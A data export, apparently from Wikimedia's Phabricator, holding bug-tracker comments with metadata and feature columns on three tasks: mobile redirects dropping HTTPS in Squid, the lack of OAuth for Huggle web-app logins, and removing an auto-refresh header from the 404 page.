+url_rewrite_access allow wap wpcontent !nomobile !nomobileua !mobtrial !forwarded_https
+url_rewrite_access allow mobile googlebot !forwarded_https
+url_rewrite_program /usr/local/bin/redirector
+url_rewrite_children 100
+url_rewrite_concurrency 200
+
+url_rewrite_access allow mobile wpcontent !nomobile !nomobileua !mobtrial forwarded_https
+url_rewrite_access allow wap wpcontent !nomobile !nomobileua !mobtrial forwarded_https
+url_rewrite_access allow mobile googlebot forwarded_https
+url_rewrite_program /usr/local/bin/redirector --https
+url_rewrite_children 100
+url_rewrite_concurrency 200",,,1354135959,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-39,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+171942,Mobile redirect strips https,"Figured it out: because our HTTPS servers act as proxies, the squids receive every request already via HTTP. MediaWiki detects the protocol with isset( $_SERVER['HTTP_X_FORWARDED_PROTO'] ) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https' however I'm not sure if Squid can pass enough information to the redirector for it to figure out the protocol.",,,1353977527,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-40,True,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+171937,Mobile redirect strips https,"Interest(In reply to comment #8)
+> I don't see how this can be fixed in redirector, as it can't redirect https
+> URLs at all, but since it redirects, apparently it receives URLs with HTTPS
+> already stripped.
+
+Squid handles the invocation of the redirector code - the ACLs for mobile redirection live on fenari in /home/w/conf/squid/mobile_acls.conf (I'm not sure off the top of my head what git repo this might exist in), and redirector is defined as the url rewrite program in that file as well. If something is stripping https and sending 'http' to redirector, it's almost certainly in squid somewhere. Asher or Patrick may know more.",,,1351138714,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-44,True,1,1,0,1,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1
+171932,Mobile redirect strips https,"I don't see how this can be fixed in redirector, as it can't redirect https URLs at all, but since it redirects, apparently it receives URLs with HTTPS already stripped.",,,1351108319,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-44,True,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+171929,Mobile redirect strips https,Yay!,,,1349902159,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+171924,Mobile redirect strips https,This is actually being worked on as a part of the updates to redirector.c (https://mingle.corp.wikimedia.org/projects/mobile/cards/194). Hopefully this will be resolved in production next week or the week following.,,,1349902108,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-46,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0
+171918,Mobile redirect strips https,"Depending on redirect method, possible dupe/related to bug 31369.",,,1349901872,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+171911,Mobile redirect strips https,Can we make this happen sooner rather than later? Does someone need to be poked in RT?,,,1349901528,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-46,True,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+171904,Mobile redirect strips https,Removing dependency to bug 27946 which is secure.wikimedia.org.,,,1342536905,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-59,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+171897,Mobile redirect strips https,https://rt.wikimedia.org/Ticket/Display.html?id=2635,,,1331775492,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-76,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+171887,Mobile redirect strips https,Good find. We should fix that as https://en.m.wikipedia.org works just fine.,,,1331692967,,PHID-USER-qmantxp3p7omhisp3qgq,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-76,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1
+37199,No way to do logins without user surrendering their password to software,"There is currently no way to login to SUL on production. Regular login which asks for password isn't possible because of restrictions set by wmf. This blocks the development of app, until any kind of login is enabled by wmf operation team.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=30348",Medium,50.0,1331645520,1416907981.0,PHID-USER-ppytiem7rcsbnstfsrvq,False,PHID-USER-ppytiem7rcsbnstfsrvq,False,PHID-TASK-hygsocxkypuho4yqoprw,task_description,declined,True,c2,1,True,True,False,-77,True,1,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+332894,No way to do logins without user surrendering their password to software,"BTW the app in my comment from 2013 you responded to was the C++ application for which OAuth is still not useable, only web-based app's are now supported",,,1416910649,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,3,True,,,64,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+332893,No way to do logins without user surrendering their password to software,"this is irrelevant, whole huggle-wa project is closed now. bug is closed as it's no longer valid.",,,1416910556,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,3,True,,,64,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0
+332877,No way to do logins without user surrendering their password to software,">>! In T37199#400227, @Petrb wrote:
+> ok so oauth is partially available for webapp's so this is no longer a blocker, but for app it doesn't work
+
+""for app it doesn't work"" which app doesnt it work for?  
+
+Is there a ticket open for why oauth doesnt work?
+",,,1416909680,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,3,True,,,64,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,0,1,0,1
+170975,No way to do logins without user surrendering their password to software,"ok so oauth is partially available for webapp's so this is no longer a blocker, but for app it doesn't work",,,1379754742,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,3,True,,,3,True,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+170971,No way to do logins without user surrendering their password to software,"(In reply to comment #13)
+> Is it possible to provide users with an edit token that is visible via
+> preferences (like the watchlist token), and is expired frequently; e.g. daily
+> reset, with an age of 24 hrs after first use of the token.
+
+Possible? Sure. But it's unlikely to be implemented on Wikimedia wikis. According to <http://lists.wikimedia.org/pipermail/wikitech-l/2013-August/071215.html>, OAuth is going into testing on Monday, August 19.",,,1376789843,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+170966,No way to do logins without user surrendering their password to software,"Is it possible to provide users with an edit token that is visible via preferences (like the watchlist token), and is expired frequently; e.g. daily reset, with an age of 24 hrs after first use of the token.
+Apps can use while we wait for OAuth to be implemented, and its simplicity may mean edit tokens continue to be used in simple apps even after OAuth lands.",,,1376788537,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+170961,No way to do logins without user surrendering their password to software,The session cookie wouldn't work. It's different domains and separate clusters.,,,1347489787,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-50,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+170955,No way to do logins without user surrendering their password to software,"The session cookie. The app could still impersonate the user, but it wouldn't have the ""permanent"" password.
+
+Yes, getting OAuth (or equivalent protocol) up, would be the right solution.",,,1347488647,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-50,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0
+170950,No way to do logins without user surrendering their password to software,"Which cookies?
+
+I don't see much alternative here other than OAuth. A web version of huggle would need to act on a user's behalf. Either huggle needs to do proxy authentication, which is disallowed in labs, or it needs to use OAuth.
+
+I don't really have much say on OAuth priority in MediaWiki. Maybe bring this up on the list again? OAuth is blocking a number of things in labs.",,,1347431015,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-50,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+170943,No way to do logins without user surrendering their password to software,"An option would be to make Huggle accept the cookies instead of the user & password (albeit many users would have trouble extracting them...).
+
+I have long have the idea of allowing ""restricted logins"", where you can only use a few rights, precisely for handing out to bots. It would be nice here, too.",,,1347402508,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-51,True,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+170937,No way to do logins without user surrendering their password to software,"**mmovchin** wrote:
+
+Ryan: Something new with this? We need your input to continue to work :)",,,1347402242,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-51,True,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+170929,No way to do logins without user surrendering their password to software,"Ryan:
+
+is there going to be a work-around for this or we need to wait until oauth is implemented? I suppose that in that case we would need to stop for, maybe several years with this. I don't believe tha t anyone is going to implement oauth into mediawiki sooner than in several months and even if they did, the review and deployment to production would likely take even longer. (My experienceis that code review of extension which consist of less than 40 lines of code takes half a year, see request to review Interactive Block Message extension, which I requested months ago)",,,1331821050,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,True,,,-76,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+170923,No way to do logins without user surrendering their password to software,"(In reply to comment #3)
+> What he's saying is that the web version of huggle needs to log users in as
+> themselves, which means it needs to ask for their username/password. Obviously
+> this sucks a little, but there's no alternative because we don't support OAuth.
+
+thread here: http://thread.gmane.org/gmane.science.linguistics.wikipedia.technical/59502",,,1331774322,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-76,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+170916,No way to do logins without user surrendering their password to software,"yes but that is allowed by wmf, while doing it on server is not",,,1331667950,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,True,,,-77,True,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+170909,No way to do logins without user surrendering their password to software,"(In reply to comment #2)
+> Ryan Lane is going to discuss some alternative options which are possible,
+> however until then the development is kind of blocked, so I created this ticket
+> so other devs of huggle wa can see the reason
+
+(In reply to comment #3)
+> What he's saying is that the web version of huggle needs to log users in as
+> themselves, which means it needs to ask for their username/password. Obviously
+> this sucks a little, but there's no alternative because we don't support OAuth.
+
+Essentially that's no different to how the Windows app works - You still enter your username and password into the application. Just for the web app, you're giving a remote server your details too...",,,1331661018,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,True,,,-77,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+170900,No way to do logins without user surrendering their password to software,"What he's saying is that the web version of huggle needs to log users in as themselves, which means it needs to ask for their username/password. Obviously this sucks a little, but there's no alternative because we don't support OAuth.",,,1331660724,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,False,,,-77,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+170894,No way to do logins without user surrendering their password to software,"Ryan Lane is going to discuss some alternative options which are possible, however until then the development is kind of blocked, so I created this ticket so other devs of huggle wa can see the reason",,,1331660199,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,True,,,-77,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+170887,No way to do logins without user surrendering their password to software,"(In reply to comment #0)
+> There is currently no way to login to SUL on production. Regular login which
+> asks for password isn't possible because of restrictions set by wmf. This
+> blocks the development of app, until any kind of login is enabled by wmf
+> operation team.
+
+Eh, what?",,,1331659506,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hygsocxkypuho4yqoprw,task_subcomment,,True,c2,1,True,,,-77,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1
+37052,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"The 404 page used to have a meta-refresh tag. Now it apparently has a Refresh HTTP header:
+
+---
+mzmcbride@gonzo:~$ curl -I ""http://en.wikipedia.org/wfhsdklfjsdklfj""
+HTTP/1.0 404 Not Found
+Date: Thu, 08 Mar 2012 04:23:19 GMT
+Server: Apache
+Cache-Control: s-maxage=2678400, max-age=2678400
+X-Wikimedia-Debug: prot=http:// serv=en.wikipedia.org loc=/wfhsdklfjsdklfj
+Refresh: 5; url=http://en.wikipedia.org/wiki/wfhsdklfjsdklfj
+Content-Length: 5091
+Content-Type: text/html; charset=utf-8
+Age: 166
+X-Cache: HIT from cp1019.eqiad.wmnet
+X-Cache-Lookup: HIT from cp1019.eqiad.wmnet:3128
+X-Cache: MISS from cp1008.eqiad.wmnet
+X-Cache-Lookup: MISS from cp1008.eqiad.wmnet:80
+Connection: close
+---
+
+Auto-refreshes/auto-redirects like this are generally considered terrible from an accessibility standpoint. This header should simply be removed.
+
+This is kind of related to bug 17316, but not really.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54357",Medium,50.0,1331180880,1440614232.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-pxyl4x4gm47myo5embc7,task_description,resolved,True,c2,1,True,False,False,-77,True,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+515453,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"The goal of the delayed redirect was to be annoying to the reader (so he doesn't ""learn"" not to type ""/wiki/"") while being good enough to do what most people wanted. It's suboptimal that your granny didn't have enough time to read (and understand!) the error message. But I worry now if she will be kept wait on that page and do nothing.
+
+Perhaps we can get some stats of root 404s not followed by another page view? (not easy to gather, I know…)
+",,,1440633924,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,104,True,1,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,1,0
+515172,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,">>! In T37052#1576416, @ori wrote:
+> The guidelines from the W3C are emphatic on this point, so I don't think extensive discussion is necessary. I do think that the #design and #usability teams ought to have a look at the 404 page and make sure that the text and presentation of the 404 page is maximally helpful.
+
+Filed as T110376.",,,1440614954,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,104,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,1
+515162,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Since Discovery was requested to comment here, I'll state that I have no particularly strong opinion on this task one way or another. To me, the change seems sensible enough given that the user will barely have enough time to read the 404 page before being automatically redirected.",,,1440614181,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,104,True,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+515157,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"Change 233664 merged by jenkins-bot:
+Remove auto-redirection from 404 page.
+
+[[https://gerrit.wikimedia.org/r/233664]]",,,1440613766,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,104,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+515153,Wikimedia 404 error page shouldn't use a Refresh HTTP header to implement the auto-redirect to /wiki,"The guidelines from the W3C are emphatic on this point, so I don't think extensive discussion is necessary. I do think that the #design and #usability teams ought to have a look at the 404 page and make sure that the text and presentation of the 404 page is maximally helpful.",,,1440613698,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-pxyl4x4gm47myo5embc7,task_subcomment,,True,c2,3,False,,,104,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
